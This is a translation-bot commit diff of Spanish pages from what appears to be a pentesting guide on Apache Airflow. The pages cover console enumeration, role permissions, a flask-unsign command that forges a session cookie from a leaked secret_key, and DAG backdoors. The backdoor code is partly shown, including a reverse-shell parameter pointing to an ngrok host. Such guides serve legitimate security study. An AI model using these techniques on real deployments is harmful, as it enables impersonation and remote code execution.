Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:13:27 +00:00
parent 599a50fbec
commit c14d2efa43
215 changed files with 1670 additions and 1679 deletions

View File

@@ -12,7 +12,7 @@ Básicamente, Apache Airflow te permitirá **programar la ejecución de código
#### Docker-Compose
Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno docker completo de apache airflow. (Si estás en MacOS, asegúrate de darle al menos 6GB de RAM a la VM de docker).
Puedes usar el **archivo de configuración de docker-compose de** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) para lanzar un entorno completo de docker de apache airflow. (Si estás en MacOS asegúrate de darle al menos 6GB de RAM a la VM de docker).
#### Minikube
@@ -46,13 +46,13 @@ airflow-rbac.md
#### Enumeración de la Consola Web
Si tienes **acceso a la consola web**, podrías acceder a parte o toda la siguiente información:
Si tienes **acceso a la consola web**, podrías ser capaz de acceder a parte o toda la siguiente información:
- **Variables** (Información sensible personalizada podría estar almacenada aquí)
- **Conexiones** (Información sensible personalizada podría estar almacenada aquí)
- Acceder a ellas en `http://<airflow>/connection/list/`
- Accede a ellas en `http://<airflow>/connection/list/`
- [**Configuración**](./#airflow-configuration) (Información sensible como el **`secret_key`** y contraseñas podría estar almacenada aquí)
- Listar **usuarios y roles**
- Lista de **usuarios y roles**
- **Código de cada DAG** (que podría contener información interesante)
#### Recuperar Valores de Variables
@@ -70,13 +70,13 @@ Otra forma es realizar un **bruteforce** al **valor oculto** utilizando el **fil
#### Escalación de Privilegios
Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con este válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
Si la configuración **`expose_config`** está establecida en **True**, desde el **rol Usuario** y **hacia arriba** pueden **leer** la **configuración en la web**. En esta configuración, aparece el **`secret_key`**, lo que significa que cualquier usuario con esto válido puede **crear su propia cookie firmada para suplantar cualquier otra cuenta de usuario**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE en el trabajador de Airflow)
Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes simplemente **crear uno** que te enviará un **reverse shell.**\
Si tienes **acceso de escritura** al lugar donde se **guardan los DAGs**, puedes **crear uno** que te enviará un **reverse shell.**\
Ten en cuenta que este reverse shell se ejecutará dentro de un **contenedor de trabajador de airflow**:
```python
import pendulum
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
```
#### DAG Backdoor (RCE en el programador de Airflow)
Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de colocarlo dentro de la carpeta del DAG.
Si configuras algo para que sea **ejecutado en la raíz del código**, en el momento de escribir esto, será **ejecutado por el programador** después de un par de segundos de haberlo colocado dentro de la carpeta del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -148,7 +148,7 @@ Si logras **comprometer una máquina dentro del clúster DAG**, puedes crear nue
#### Inyección de Código en DAG
Cuando ejecutas un DAG desde la GUI puedes **pasar argumentos** a él.\
Cuando ejecutas un DAG desde la GUI, puedes **pasar argumentos** a él.\
Por lo tanto, si el DAG no está correctamente codificado, podría ser **vulnerable a Inyección de Comandos.**\
Eso es lo que ocurrió en este CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

View File

@@ -52,7 +52,7 @@ Algunos valores interesantes para verificar al leer el archivo de configuración
### \[dask]
- **`tls_ca`**: Ruta a ca
- **`tls_ca`**: Ruta al ca
- **`tls_cert`**: Ruta al cert
- **`tls_key`**: Ruta a la clave tls
@@ -92,7 +92,7 @@ Por defecto, la **autenticación web** se especifica en el archivo **`webserver_
```bash
AUTH_TYPE = AUTH_DB
```
Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, otras configuraciones son posibles como
Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, son posibles otras configuraciones como
```bash
AUTH_TYPE = AUTH_OAUTH
```

View File

@@ -6,13 +6,13 @@
(De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles.
- **Los usuarios `Admin`** tienen todos los permisos posibles.
- **Los usuarios `Public`** (anónimos) no tienen ningún permiso.
- **Los usuarios `Viewer`** tienen permisos limitados de visualización (solo lectura). **No pueden ver la configuración.**
- **Los usuarios `User`** tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. **Pueden ver el archivo de configuración.**
- **Los usuarios `Op`** tienen permisos de `User` más permisos adicionales de operación.
- **`Admin`** los usuarios tienen todos los permisos posibles.
- **`Public`** los usuarios (anónimos) no tienen ningún permiso.
- **`Viewer`** los usuarios tienen permisos limitados de visualización (solo lectura). **No puede ver la configuración.**
- **`User`** los usuarios tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. Él **puede ver el archivo de configuración.**
- **`Op`** los usuarios tienen permisos de `User` más permisos adicionales de operación.
Tenga en cuenta que **los usuarios admin** pueden **crear más roles** con más **permisos granulares**.
Tenga en cuenta que los usuarios **admin** pueden **crear más roles** con más **permisos granulares**.
También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso.